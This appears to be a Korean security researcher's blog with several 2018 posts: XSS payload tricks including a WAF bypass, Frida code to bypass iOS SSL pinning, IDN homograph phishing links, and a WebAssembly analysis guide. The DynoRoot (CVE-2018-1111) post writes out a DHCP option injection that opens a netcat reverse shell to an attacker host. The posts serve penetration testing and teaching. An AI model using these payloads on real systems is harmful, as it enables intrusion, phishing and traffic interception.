10/31/2018

Review on recent xss tricks (몇가지 XSS 트릭들 살펴보기)

XSS 테스트 벡터들 자주 찾아보곤(또는 공유받거나 눈에 걸리거나..) 하는데 최근에 포스팅 쓸만큼 특별한건 없었고 간단한 트릭정도 몇개 올라와서 정리해서 한번에 글 작성합니다.

details 태그 + ontoggle + open

details 태그에 open, ontoggle 속성을 이용해서 바로 스크립트 실행이 가능합니다. ontoggle은 details 태그 부분이 선택(?)되었을 때 트리거되는데, open 속성으로 바로 열 수 있어 즉시 트리거가 가능합니다.
(details 태그 그거에요.. 더보기, 아주 옜날에는 직접 만들어쓰셨겠지만, html5에 포함되어 이젠 태그로 쉽게 구현이 가능합니다.)

<dETAILS/open/onToGgle=a=prompt,a(45) x>

여담으로 태그 내 속성 구별 구간에서 개행문자 삽입 시 akamai ghost에서 필터링 패스할 수 있다고 하네요.

<!-- bypass Akamai Ghost -->
<dETAILS%0aopen%0aonToGgle%0a=a=prompt,a(45) x>

output 태그와 &NewLine;

처음에 새로운 방법인가 했는데, 결국은 onclick의 eval로 코드를 실행하는 형태입니다. 다만 눈여겨 볼껀 &NewLine;의 존재입니다.
(전 저렇게 쓰는거 첨봐서...)

<output name="jAvAsCriPt://&NewLine;\u0061ler&#116(1)" onclick="eval(name)">X</output>

XSS Payloads 쪽에 New Vector라고 올라와서 좀 의아했었는데, 다르분도 비슷하게 생각했더군요. 결국은 원작자도 트릭을 이야기한 것 뿐.


iframe srcdoc + window.name

마지막으로 요런 코드가 하나 나돌았었늗네요, iframe 가지고 약간 장난친 케이스입니다.

p.html
<script> window.name =`<script>alert(45)<\/script>`; document.location="./v.html" </script>

v.html
<iframe/onload=srcdoc=window.name > 

p.html에서 window.name에 실제 동작할 공격코드 저장 후 location이 바뀐 뒤 해당 페이지의 iframe에서 onload로 JS영역으로 흘린 후 srcdoc에 window.name에 있던 데이터(<script> 구문)을 넣어서 트리거합니다.

onload에서 이미 js 구무을 넘겼다느 점에선 XSS 삽입 부분에선 특이한게 없었고, 공격 코드를 다른 페이지에 두고 사용하는 방법 정도로 생각하심 될듯합니다.


Share: | Coffee Me:

10/30/2018

iOS에서의 SSL Pinning Bypass(with frida)

피닝 적용이 된 앱들이 좀 있다보니 모바일 앱 분석에선 언피닝이 거의 필수 코스가 되어가고 있습니다. 보통 Frida 코드(짜거나 codeshare에서 가져다 쓰거나)로 우회합니다.

#> frida --codeshare dki/ios10-ssl-bypass -U “앱이름"

안드로이드는 피닝을 위해 CertificateFactory로 만들어지는 인증서 저장소에 burp 인증서 같이 분석용 인증서를 생성해 넣거나 시스템 인증서 저장 공간을 바라보도록 하는데요.
iOS는 어떤 방식으로 우회해서 사용하는지 정리해둘까 합니다.

How to use?

여러 방법이 있겠지만, 솔직히 프리다가 가장 편합니다. 특이사항이 없는 경우 codeshare에서 끌어쓰는게 가장 간편합니다.
(코드 작성해서 사용해도, codeshare쪽 보면서 작성하시는게 헷갈리지 않고 도움됩니다)

갓리다!

iOS는 버전별로 우회방법이 좀 다릅니다. 그리고 작성한 방법 이외에도 충분히 많은 방법들이 있을겁니다.

iOS 11 & iOS 10

iOS 10, 11 버전에선 TLS 쪽 코드 중 tls_helper_craete_peer_trust 부분이 실제 검증되는 부분이고 frida를 통해 후킹하여 이 부분의 내용을 재정의하거나 변조하면 우회할 수 있습니다.

Kill Switch(https://github.com/nabla-c0d3/ssl-kill-switch2/blob/master/SSLKillSwitch/SSLKillSwitch.m) 쪽 코드를 보면 이렇습니다.

NSProcessInfo *processInfo = [NSProcessInfo processInfo];
if ([processInfo respondsToSelector:@selector(isOperatingSystemAtLeastVersion:)] && [processInfo isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){11, 0, 0}])
{
// Support for iOS 11
void* handle = dlopen("/usr/lib/libnetwork.dylib", RTLD_NOW);
void *tls_helper_create_peer_trust = dlsym(handle, "nw_tls_create_peer_trust");
if (tls_helper_create_peer_trust)
{
MSHookFunction((void *) tls_helper_create_peer_trust, (void *) replaced_tls_helper_create_peer_trust, (void **) &original_tls_helper_create_peer_trust);
}
}

else if ([processInfo respondsToSelector:@selector(isOperatingSystemAtLeastVersion:)] && [processInfo isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){10, 0, 0}])
{
// Support for iOS 10
void *tls_helper_create_peer_trust = dlsym(RTLD_DEFAULT, "tls_helper_create_peer_trust");
MSHookFunction((void *) tls_helper_create_peer_trust, (void *) replaced_tls_helper_create_peer_trust, (void **) &original_tls_helper_create_peer_trust);

10, 11 모두 각각 tls_helper_craete_peer_trust, nw_tls_helper_craete_peer_trust 라이브러리에 인증서 검증 로직이 존재하고 이 부분을 패스하면 피닝 우회가 가능합니다. (진짜 인증서인지 검증 못하니깐)

좀 더 자세히 보면 app developers에는 이렇게 정의되어 있습니다.

OSStatus tls_helper_create_peer_trust(tls_handshake_t hdsk, bool server, SecTrustRef *trustRef);

(https://opensource.apple.com/source/coreTLS/coreTLS-121.1.1/coretls_cfhelpers/tls_helpers.h.auto.html)

tls_handshake_t, bool, SecTrustRef(req 검색, 인증서 체인 검증을 위해..)의 값들이 들어가고 OSStatus 형의 return을 가집니다.
OSSStatus는 Apple에서 사용하는 상태 정보에 대한 자료형(https://developer.apple.com/documentation/kernel/osstatus?language=objc)입니다.

그럼 다시 이야기하면 tls_helper_craete_peer_trust 를 읽어서 frida의 replace로 코드를 변경하여 원래 코드를 안거치고 바로 return을 넘겨줍니다.
(물론 return 포맷은 맞춰야합니다. OSStatus)

return errSecSuccess; 
// var errSecSuccess: OSStatus { get }

그렇게되면 인증서 검증 로직을 거치지 않기 때문에 우회가 가능합니다. 이렇게 보면 안드로이드의 CertificateFactory와 비슷하긴 하네요.

Frida 코드로 바꾸면 이렇습니다.

function gggo() {
    // ios 10, 11에 따라 tls_helper_create_peer_trust, nw_tls_helper_create_peer_trust 를 읽어오고.. 
    // 훅 이후 replace로 무조건 errSecSuccess를 리턴하도록 바꿔줍니다. 
   
    Interceptor.replace(tls_helper_create_peer_trust, new NativeCallback(function(hdsk, server, trustRef) {
        return errSecSuccess;
    }, 'int', ['pointer', 'bool', 'pointer']));
    console.log("SSL certificate validation bypass active");
}

iOS 9

iOS 9버전 이하는.. 조금 더 많은 변경 사항이 필요한데요. 3가지 함수를 동일한 방법으로 바꿔줍니다.

SSLHandshake
SSLSetSessionOption
SSLCreateContext

아래 문서 읽어보시면 좋습니다.
https://nabla-c0d3.github.io/blog/2013/08/20/ios-ssl-kill-switch-v0-dot-5-released/

#pragma mark SecureTransport hooks - iOS 9 and below
// Explanation here: https://nabla-c0d3.github.io/blog/2013/08/20/ios-ssl-kill-switch-v0-dot-5-released/
static OSStatus (*original_SSLSetSessionOption)(SSLContextRef context,
SSLSessionOption option,
Boolean value);
static OSStatus replaced_SSLSetSessionOption(SSLContextRef context,
SSLSessionOption option,
Boolean value)
{
// Remove the ability to modify the value of the kSSLSessionOptionBreakOnServerAuth option
if (option == kSSLSessionOptionBreakOnServerAuth)
{
return noErr;
}
return original_SSLSetSessionOption(context, option, value);
}


static SSLContextRef (*original_SSLCreateContext)(CFAllocatorRef alloc,
SSLProtocolSide protocolSide,
SSLConnectionType connectionType);

static SSLContextRef replaced_SSLCreateContext(CFAllocatorRef alloc,
SSLProtocolSide protocolSide,
SSLConnectionType connectionType)
{
SSLContextRef sslContext = original_SSLCreateContext(alloc, protocolSide, connectionType);
// Immediately set the kSSLSessionOptionBreakOnServerAuth option in order to disable cert validation
original_SSLSetSessionOption(sslContext, kSSLSessionOptionBreakOnServerAuth, true);
return sslContext;
}

static OSStatus (*original_SSLHandshake)(SSLContextRef context);
static OSStatus replaced_SSLHandshake(SSLContextRef context)
{

OSStatus result = original_SSLHandshake(context);
// Hijack the flow when breaking on server authentication

if (result == errSSLServerAuthCompleted)
{
// Do not check the cert and call SSLHandshake() again
return original_SSLHandshake(context);
}
return result;
}
Share: | Coffee Me:

10/23/2018

LOKIDN - IDN HomoGraph Attack의 재미있는 공격 벡터

한 2주전쯤인가요? EDB에서 재미있는 문서 하나를 보았습니다.
(https://www.exploit-db.com/docs/english/45567-lokidn-a-new-vector-for-homograph-attacks.pdf)

내용인 즉슨 IDN Homograph attack의 새로운 공격 벡터라고 하는데 읽어보고 있을 수 있을법한 이야기네란 생각이 있었습니다.
이제서야 글로 작성해보네요. 

IDN Homograph attack인 LOKIDN 입니다.

IDN HomoGraph Attack

IDN HomoGraph Attack은 서로 다른 비슷한 문자를 이용해 어떤 도메인과 통신하는지 속이는 공격입니다. (눈속임이죠)
보통 피싱에서 많이 사용되고 솔직히 눈썰미 좋은거 아니면 문자셋에 따라 눈치채기 정말 어렵습니다.

단순하게 A의 예시로만 보아도..

일반적인 영문자 A (https://en.wikipedia.org/wiki/A) 와
키릴문자 А (https://en.wikipedia.org/wiki/A_(Cyrillic))

눈으로 구별이 ... 당연히 안가겠죠. (구별하면 인정해줘야합니다..전 모르겠네요)

이런 문자열을 이용해서 마치 애플 사이트 같이 (Apple.com) A가 키릴문자로 구성된 Apple.com으로 도메인을 생성하여 사용자를 낚을 수 있습니다.

라틴어, 키릴문자, 그리스어 영문자랑 유사하거나 동일한 문자 형태이지만 실제로 Bytecode가 다른 문자셋을 이용합니다. 그래서 보통은 미리 구성된 링크(a tag 등)를 사용자에게 클릭하도록 유도하거나 Open Redirect를 이용해서 마치 공식적인 페이지로 접근한 것 처럼 사용자를 속일 수 있는거지요.
(물론 SSL Chain 보면 금방 알겠지만, 보안에 관심있는 분 아니라면 대다수가 그냥 넘어갑니다..)

공격 코드 예시 생각해보면 뭐 이런식이겠죠.

<a href='https://Аpple.com'>Apple 홈페이지에서 보기</a>

주소는 애플 사 홈페이지인 Apple.com이지만 실제로 코드 링크 타고 들어가보면 없는 도메인으로 연결됩니다.



어떻게 라틴어나 키릴문자로 도메인을 만들지? 란 생각이 드실 수 있는데요, 이걸 가능하게 해주는게 바로 IDN(Internationalized Domain name) Structure입니다.
보통 도메인은 아스키로 제한되지만 유니코드로 된 문자를 아스키로 치환하여 사용하는 경우들이 있습니다.

대표적으로 한글 도메인인데요. 예를들면 한글.com 이라는 도메인에 대해 보면

Original Query: 한글.com
Showing results for: xn--bj0bj06e.com

이렇게 xn--bj0bj06e.com으로 매핑됩니다. ping만 때려봐도 같은 주소란걸 알 수 있죠.

root@HAHWUL:/home/hahwul/# ping 한글.com
PING 한글.com (202.31.187.154) 56(84) bytes of data.
64 bytes from 202.31.187.154 (202.31.187.154): icmp_seq=1 ttl=52 time=8.11 ms
^C
--- 한글.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 8.118/8.118/8.118/0.000 ms

root@HAHWUL:/home/hahwul/# ping xn--bj0bj06e.com
PING 한글.com (202.31.187.154) 56(84) bytes of data.
64 bytes from 202.31.187.154 (202.31.187.154): icmp_seq=1 ttl=52 time=8.31 ms
64 bytes from 202.31.187.154 (202.31.187.154): icmp_seq=2 ttl=52 time=8.76 ms

이런 IDN specification은 많은 국가에서 사용되고 있습니다.

What's new Vector? LOKIDN

그럼 과연 문서 작성자는 어떤것이 새로운 공격 벡터라고 이야기하고 있을까요?

LOKIDN
Lapse of Keyboard at Internationalized Domain Name

IDN에서 키보드의 Lapse.

Lapse.
    1. (기억·말 등의 사소한)착오,실수,잘못(slip)


의미만 보면 키보드 실수로 인한 IDN HomoGraph Attack 이라고 해석되는데요. 링크나 피싱 사이트에서 사용하는 IDN Homograph가 어떻게 키보드와 연관되는 걸까요.
우선 LOKIDN이 트리거 가능한 경우는 관리자가 코드 작성 시 css, script 링크 등에 잘못 입력하였을 때 가능하다고 하는데요. 이 가능성을 올려주는게 바로 키보드 자동 치환입니다.

보통 랩탑들을 보면 자국어 설정에 따라 문자를 치환해주는 경우들이 있습니다. 당장 한글만 봐도 한/영 전환된 영문자 상태에서 한글을 입력해도 자동으로 한글으로 치환되듯이 라틴어,그리스어 등 영어와 유사한 언어셋의 키보드에서도 동일하게 치환합니다.

또한 일부 키보드 소프트웨어 옵션으로 키를 길게 누르거나 특정 키가 눌리는 경우 해당 언어를 치환해주게 되는데 이런 부분들에서 관리자의 실수가 발생할 수 있습니다.

이 부분이 핵심이 부분이며 이를 통해 관리자가 놓친 실수를 찾으면 CSS 조작이나 JS 조작등을 할 수 있습니다.

How to find?

그럼 관리자가 놓친 부분들은 어떻게 찾을까요? 헤드리스 브라우저에서 Error 발생에 대해 체크할 수 있는지는 모르겠는데(된다면 자동화!!) 아니라면 그냥 수동으로 찾는게 답일 것 같습니다.
개발자 도구 여시고.. CSS/JS 오류 나는것 중 도메인을 못찾는 경우를 찾아가며 실수한 부분이 있는지 찾고, 있다면 해당 도메인을 점유할 수 있는지 체크해봐야겠죠.
(이런면에선 subdomain takeover와도 비슷한점이 있네요)

Reference

https://en.wikipedia.org/wiki/IDN_homograph_attack
https://www.exploit-db.com/docs/english/45567-lokidn-a-new-vector-for-homograph-attacks.pdf
Share: | Coffee Me:

iOS App IPA 파일 추출하기(ipainstaller, jailbreak)


맨날 iFunBox로 IPA 파일을 추출했었데, 환경적인 문제로 USB 없이 하려고 다른방법 찾아본 것 메모해둡니다.
ipainstaller로 ipa 파일을 통해 앱을 설치할 수 있는데(ipa 설치도 cydia impactor로..) 이 툴로 추출또한 가능합니다.

ipainstaller는 Cydia에서 설치 가능합니다. ipainstaller 의 -b 옵션을 이용하면 설치된 앱의 ipa 파일을 얻어낼 수 있습니다. 인자값으로 패키지 이름을 넣어줍니다.

#> ipainstaller -b com.app.app

실행하게 되면 /private/var/mobile/Documents 하위에 ipa 파일이 생성됩니다.
scp로 밖으로 꺼내주면 끝!

#> scp root@192.168.0.11://private/var/mobile/Documents/abc.ipa . 

Share: | Coffee Me:

10/11/2018

DynoRoot Exploit (DHCP Client Command Injection / CVE-2018-1111)


전에 이 취약점이 나왔을 때 그냥 dhcp 관련 취약점이 나왔구나 헀었느데, 최근에 다른 취약점 보다보니 이 취약점을 기반으로 한 취약점이 몇몇 보여 글로 풀어봅니다.
오늘 이야기드릴 내용은 DynoRoot Exploit입니다.

철자는 다르지만 뭔가 공룡이 생각나서....

What is it?

DynoRoot Exploit은 구글 보안팀의 Felix Wilhelm이 발견한 DHCP 보안 문제이며, 관련 방법으로 다른 취약점도 나오고 있는 상태로 보입니다.
Redhat 계열 리눅스 내 DHCP 관련 명령 실행 취약점으로 취약 버전 사용과 동일 네트워크에 있다는 조건 하에 악의적인 dhcp 서버를 구성할 수 있거나 DHCP Response에 대해 스푸핑이 가능한 경우에 명령 실행이 가능합니다.

CVE-2018-1111 이며 CVSS는 아래와 같습니다.

[ CVSS v2 ]
Base Score: 7.9
Vector: AV:A/AC:M/Au:N/C:C/I:C/A:C

[ CVSS v3 ]
Base Score: 7.5
Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Why?

DHCP Client는 DHCP 서버로 부터 받은 Response를 가지고 설정할 IP 대역, 기타 옵션 정보 등 여러가지 데이터를 받는데 DHCP Option 처리 과정에서 ampersand에 대한 처리가 되어있지 않아 명령행 분리가 가능합니다.
(Application단에서 처리할줄 알았는데, 터미널로 넘기는 과정이 존재하나 보네요.)

options = 1,2,3&ifconfig  ??!!!

Exploit uing command line

악의적인 DHCP서버를 두고, 동일 네트워크에 DHCP Response를 스푸핑하는데, 여기에 변조된 데이터(Injection 구문)을 통해서 dns client가 다른 액션을 행하도록 command injection을 합니다.

우선 고맙게도 Docker로 만들어두신 분이 있어 환경은 해당 환경 그대로 따라가겠습니다. (갓도커)

#> git clone https://github.com/knqyf263/CVE-2018-1111
#> docker-compose up -d
#> docker-compose exec victim bash

[root@victim /]# cd script
[root@victim /]# ./victim.sh

or

[root@victim /]# systemctl restart NetworkManager
[root@victim /]# nmcli con add type eth ifname 'eth0' con-name eth0
[root@victim /]# nmcli con up id 'eth0'

(혹여나 docker-compose가 없다면 apt install docker-compose)

attacker : 10.10.10.3
client : 10.10.10.2
(docker ip는 inspect 옵션으로 확인하시면 됩니다.)

그럼 서버측에서 dnsmasq를 이용해 dhcp server를 구성해주시는데, 옵션에 아래 paylaod를 같이 포함합니다.

#> dnsmasq --user=root --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=10.10.0.10,10.10.0.20,1h
--conf-file=/dev/null --dhcp-option=6,10.10.0.1 --dhcp-option=3,10.10.0.1 --dhcp-option="252,yarrak'&nc -e /bin/bash 10.10.0.3 1337 #"
--log-queries --log-facility=/var/log/dnsmasq-server.log

그러고 payload에서 nc 포트로 접근하게 하였으니, 서버측에서 nc로 포트를 열어줍니다 (리버스쉘)

#> nc -l -p 1337 -v

페이로드 삽입 부분만 보면 이런 형태가 되겠네요.

Dhcp opton=> “252,x’&<payload> #”

252,x' 이후에 &로 명령행 자르고 command 입력되면 명령이 실행되겠죠. Network manager를 통해 DHCP Response를 받아오는 경우(IP 받거나 NetworkManager 재시작 등..)

connect to [10.10.0.3] from (UNKNOWN) [10.10.0.2] 46443
uname -r 
4.15.0-34-generic

Exploit using meatsploit

다행(?)이도 msf에 해당 exploit 코드가 포팅되어 올라와있습니다. 공식 업데이트로도 반영된 부분이라 그냥 msfupdate 이후(예전 취약점이라 아마 대부분 이미 적용된 상태곘지요) 바로 사용이 가능합니다. 


HWUL> search dynoroot

Matching Modules
================

   Name                                                  Disclosure Date  Rank       Description
   ----                                                  ---------------  ----       -----------
   exploit/unix/dhcp/rhel_dhcp_client_command_injection  2018-05-15       excellent  DHCP Client Command Injection (DynoRoot)

HWUL> use exploit/unix/dhcp/rhel_dhcp_client_command_injection

옵션을 보면

HWUL exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show options

Module options (exploit/unix/dhcp/rhel_dhcp_client_command_injection):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   BROADCAST                     no        The broadcast address to send to
   DHCPIPEND                     no        The last IP to give out
   DHCPIPSTART                   no        The first IP to give out
   DNSSERVER                     no        The DNS server IP address
   HOSTSTART                     no        The optional host integer counter
   NETMASK                       yes       The netmask of the local subnet
   ROUTER                        no        The router IP address
   SRVHOST                       yes       The IP of the DHCP server


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

필수 부분이 SRVHOST(서버가 될 공격자 주소)와 NETMASK입니다. 타겟팅 공격이 아니기 때문에 DHCP 서버가 올라가는 것으로 완료되고 jobs으로 넘겨버립니다.
이 상태에서 동일 네트워크 사용자가 dhcp 요청을 하게될 때 response에 payload를 담아 전달하게되고, bind,reverse shell로 공격자에게 명령행을 전달해줍니다.

advanced에는 특별한건 없습니다.

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Reference

https://www.exploit-db.com/exploits/45345/
https://www.exploit-db.com/docs/english/45334-obtaining-command-execution-through-the-networkmanager-daemon.pdf
https://twitter.com/_fel1x/status/996388421273882626?lang=en
https://dynoroot.ninja/
Share: | Coffee Me:

10/07/2018

Hacking & Security Analysis Web Assembly(웹 어셈블리 해킹/보안분석)

천천히 정리하던 글이 하나 있었는데, 드디어 글로 올리게되었습니다. 오늘 이야기드릴 것은 웹 어셈블리와 보안분석 대한 내용입니다.

처음 개념을 접하는분들도 있을터이고, 아시는분들도 많을 것 같습니다.
나온지는 조금 지난 개념이지만, 최근에 블랙햇 발표로 한번 더 이슈가 되긴 했습니다. 관련 앱들이 많이 생길수록 보안적인 사항도 고려해야하기 때문에 글로 좀 정리해둘까 합니다.

웹 어셈블리로 만들어진 탱크게임 한번 하고 가시죠.
https://webassembly.org/demo/Tanks/



Web Assembly?

웹 어셈블리는 웹에서 바이너리 포맷을 처리할 수 있는 낮은 레벨의 어셈블리 언어입니다. 웹 위에서 동작하지만 네이티브단에서 동작하는 느낌으로 돌 수 있고, Javascript와 함꼐 동작할 수 있어 고성능 처리와 빠른 구현 모두 어느정도 잡을 수 있는 언어라고 보시면 됩니다.

공식 홈페이지에 있는 Hello world 예제인데, 딱 C랑 동일합니다.

main.c
#include <stdio.h>
#include <sys/uio.h>

#define WASM_EXPORT __attribute__((visibility("default")))

WASM_EXPORT
int main(void) {
  printf("Hello World\n");
}

/* External function that is implemented in JavaScript. */
extern void putc_js(char c);

/* Basic implementation of the writev sys call. */
WASM_EXPORT
size_t writev_c(int fd, const struct iovec *iov, int iovcnt) {
  size_t cnt = 0;
  for (int i = 0; i < iovcnt; i++) {
    for (int j = 0; j < iov[i].iov_len; j++) {
      putc_js(((char *)iov[i].iov_base)[j]);
    }
    cnt += iov[i].iov_len;
  }
  return cnt;
}

main.js
let x = '../out/main.wasm';

let instance = null;
let memoryStates = new WeakMap();

function syscall(instance, n, args) {
  switch (n) {
    default:
      // console.log("Syscall " + n + " NYI.");
      break;
    case /* brk */ 45: return 0;
    case /* writev */ 146:
      return instance.exports.writev_c(args[0], args[1], args[2]);
    case /* mmap2 */ 192:
      debugger;
      const memory = instance.exports.memory;
      let memoryState = memoryStates.get(instance);
      const requested = args[1];
      if (!memoryState) {
        memoryState = {
          object: memory,
          currentPosition: memory.buffer.byteLength,
        };
        memoryStates.set(instance, memoryState);
      }
      let cur = memoryState.currentPosition;
      if (cur + requested > memory.buffer.byteLength) {
        const need = Math.ceil((cur + requested - memory.buffer.byteLength) / 65536);
        memory.grow(need);
      }
      memoryState.currentPosition += requested;
      return cur;
  }
}

let s = "";
fetch(x).then(response =>
  response.arrayBuffer()
).then(bytes =>
  WebAssembly.instantiate(bytes, {
    env: {
      __syscall0: function __syscall0(n) { return syscall(instance, n, []); },
      __syscall1: function __syscall1(n, a) { return syscall(instance, n, [a]); },
      __syscall2: function __syscall2(n, a, b) { return syscall(instance, n, [a, b]); },
      __syscall3: function __syscall3(n, a, b, c) { return syscall(instance, n, [a, b, c]); },
      __syscall4: function __syscall4(n, a, b, c, d) { return syscall(instance, n, [a, b, c, d]); },
      __syscall5: function __syscall5(n, a, b, c, d, e) { return syscall(instance, n, [a, b, c, d, e]); },
      __syscall6: function __syscall6(n, a, b, c, d, e, f) { return syscall(instance, n, [a, b, c, d, e, f]); },
      putc_js: function (c) {
        c = String.fromCharCode(c);
        if (c == "\n") {
          console.log(s);
          s = "";
        } else {
          s += c;
        }
      }
    }
  })
).then(results => {
  instance = results.instance;
  document.getElementById("container").innerText = instance.exports.main();
}).catch(console.error);

잘 보시면 Javascript 코드에서 C에서 정의한 함수를 끌어쓰는 것(writev_c)을 볼 수 있습니다. 이렇게 고성능 처리같은 작업은 c단에서 돌리고 js로 웹에서 핸들링 해 사용하는 구조를 가질 수 있겠죠.
(거꾸로 putc_js 같이 c에서 js를 호출하는 함수도 있지요)

모질라쪽에선 emcc(https://github.com/juj/emsdk 의 sdk tool임)로 컴파일 하는 내용으로 가이드하고 있네요. wasm과 embed된 html을 바로 뽑을 수 있어서 테스트해보기엔 좋습니다.

#include <stdio.h>

int main(int argc, char ** argv) {
  printf("Hello World\n");
}

#> emcc hello.c -s WASM=1 -o hello.html

[ online IDE ]
https://webassembly.studio

[ 샘플 ]
https://github.com/mdn/webassembly-examples

그리고 .. 당연히 최신 브라우저들은 이미 적용되어 있기 떄문에 브라우저 개발자 콘솔에서 WebAssembly 오브젝트를 불러보면 내장된 function 정보를 얻어올 수 있습니다.
#> WebAssembly
WebAssembly
CompileError: function CompileError()
Global: function Global()
Instance: function Instance()
LinkError: function LinkError()
Memory: function Memory()
Module: function Module()
RuntimeError: function RuntimeError()
Table: function Table()
compile: function compile()
compileStreaming: function compileStreaming()
instantiate: function instantiate()
instantiateStreaming: function instantiateStreaming()
toSource: function toSource()
validate: function validate()
.....



Hacking/Security Analysis Point

사실 이번 포스팅의 목적이자 메인이 되는 부분입니다. 웹 어셈블리로 만들어진 어플리케이션은 무엇을 어떻게 봐야할까? 란 생각에 천천히 정리하고 있던겁니다.

우선 웹 어셈블리가 웹 기반에서 바이너리를 실행하고 자바스크립트와 연결해서 사용할 수 있기 때문에 전통적인 바이너리 공격 + 웹 해킹 기법이 모두 적용되는 케이스가 발생할 수 있습니다.

* 전통적인 바이너리 관련 공격들...
BOF, FSB, OOB 등등 알려진 기법들이 많이 있긴한데, Web Assembly 자체적으로 보안로직이 적용되어 있어서 ROP등은 어렵다고 합니다. (실제론 해봐야알듯?)
그리고 실행 구조떄문에 DEP나 SSP도 필요없어 적용되지 않았다고 하네요. 이쪽에서 가장 걱정하는건 Indirect function call 인듯 합니다. 아마... XSS 등으로 JS 제어권을 가졌을 때 할 수 있는게 너무 많아져서 그런게 아닐까 싶습니다.
(정상 콜인지 구별하는것도 어려울테구요..)

* 웹 공격들..
기존 웹 공격과 약간 차이가 있다면, 추가적으로 웹 페이로드나 공격코드가 C단을 거쳐서 넘어올 수 있다는 점입니다.
웹 기반 방어로직은 당연하게 SOP 정도이고 non-web 플랫폼에선 POSIX 모델 적용이라고 합니다.

SOP도 어느정돈 강제적으로 적용된게, wasm 가져올때도 fetch 등을 이용하기 때문에 강제로.. 브라우저 SOP를 적용받게 됩니다.

fetch('https://www.hahwul.com')
Promise { <state>: "pending" }
교차 출처 요청 차단: 동일 출처 정책으로 인해 https://www.hahwul.com/에 있는 원격 자원을 차단하였습니다. (원인: ‘Access-Control-Allow-Origin’ CORS 헤더가 없음).[더 알아보기]

왜 fetch 등을 이용해서 가져올까? 라는 의문이 발생할 수 있는데요, WebAssembly는 아직 <script type='module'> 또는 ES2015 import statements와 통합되어 있지 않으므로 imports를 사용하여 브라우저에서 가져올 방법이 없습니다.
그래서 2 함수로 불러오는 경우가 권장되고 아래 함수 2개정도를 이용해서 가져오게 됩니다.  이 과정에서 대부분 fetch 등을 사용하게 되구요.

- WebAssembly.compileStreaming
- WebAssembly.instantiateStreaming

보안 관련해선 블랙햇 문서 읽어보시면 도움 많이됩니다.

https://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp.pdf

How to Testing??

아직 웹 어셈블리로 개발된 앱을 분석해본적은 없었습니다. 무엇부터 해야할까 고민이 좀 있었는데, 자료도 찾아보고 생각도 좀 해보니 외부 실행 파일을 JS에서 핸들링해서 쓴다는점에선 SWF 분석과 많이 유사한 부분이 있더군요.

그래서 전반적인 분석 방식을 SWF 보는 방식과 비슷하게 보려합니다. (바이너리 코드단 분석과 이를 이어주는 JS단 처리까지 보면 깔끔할듯 합니다)

SWF 분석 관련 포스팅
https://www.hahwul.com/2017/06/web-hacking-swfflash-vulnerability.html
https://www.hahwul.com/2017/06/web-hacking-swf-debugging-with.html
https://www.hahwul.com/2015/04/swf-ffdec-jpex-free-flash-decompiler.html

First - Find wasm file on web
우선 가장 먼저 웹 어셈블리 파일을 찾아야합니다. (wasm!!)
좋은 방법은 Javascript에서 웹 어셈을 다루는 instance를 찾아보는 방법인 것 같습니다. SWF, ActiveX 처럼 어차피 JS에서 핸들링하기 때문에 결국 코드에는 관련 함수나 주소 정보가 남아있기 마련입니다.
아까 위에서도 말씀드렸지만 웹 어셈블리의 경우 wasm을 불러올 때 instantiateStreaming 등의 함수로 가져온다고 했습니다. 함수 추적해보면 초기 로딩 부분에 가져오는 코드가 존재합니다.

WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
.then(results => {
  // Do something with the results!
});

아 물론, 이렇게 XMLHttpRequest, Ajax call 등으로 가져오는 경우도 있습니다. 결국은 웹 어셈블리의 instance 관련 부분을 찾는게 핵심이 되겠네요.

request = new XMLHttpRequest();
request.open('GET', 'simple.wasm');
request.responseType = 'arraybuffer';
request.send();

request.onload = function() {
  var bytes = request.response;
  WebAssembly.instantiate(bytes, importObject).then(results => {
    results.instance.exports.exported_func();
  });
};

그리고.. Firefox 디버거에서 wasm파일에 대해 볼 수 있음(아마 다른 브라우저도 동일할거임)
파일 경로 / 다운로드도 가능하며, 어느정도 내용을 볼 수 있어서 브라우저 디버거 만으로도 간단한 분석 정도는 가능합니다.

헤더만 대충 보면.. 이렇습니다(이게 뭔 의미여.. 안봐도되요)

> hexdump -C fail.wasm
00000000  00 61 73 6d 01 00 00 00  01 85 80 80 80 00 01 60  |.asm...........`|
00000010  00 01 7f 03 82 80 80 80  00 01 00 06 81 80 80 80  |................|
00000020  00 00 07 8b 80 80 80 00  01 07 66 61 69 6c 5f 6d  |..........fail_m|
00000030  65 00 00 0a 8d 80 80 80  00 01 87 80 80 80 00 00  |e...............|
00000040  41 01 41 00 6d 0b                                 |A.A.m.|
00000046

Second - Decompile wasm & find info
디컴파일이나 해줍시다. 내용을 보고 분석하는 것과 못보고 분석하는건 어마어마한 차이가 있죠(swf, activex 모두 동일.. 기능이나 함수를 최대한 많이 알아야 웹단에서 분석이 가능하죵)
git 좀 뒤져보면 디컴파일러 여러개 나오는데, 전 이게 가장 괜찮았던 것 같습니다. 공식에서 제공하는 웹 어셈블리 관련 바이너리 툴이고 디컴파일러 등도 내장하고 있어 편하게 쓸 수 있습니다(와 근데 이런면에선 진짜 SWF랑 동일하네요...)

#> git clone --recursive https://github.com/WebAssembly/wabt
#> apt install clang              // (clang이 없는 경우) 
#> make

(third party project가 좀 있습니다) 받고 빌드하면(물론 여기선 clang이 필요하고 설치해주심 됩니다, 왜 필요한지 궁금하면 웹 어셈블리 빌드 순서 보시면 됩니다)

#> cd gin
#> ls
CMakeCache.txt        dummy.c            wasm-interp        wasm2wat
CMakeFiles        hexfloat_test        wasm-objdump        wast2json
Makefile        liblibgtest.a        wasm-opcodecnt        wat-desugar
cmake_install.cmake    libwabt.a        wasm-strip        wat2wasm
config.h        spectest-interp        wasm-validate
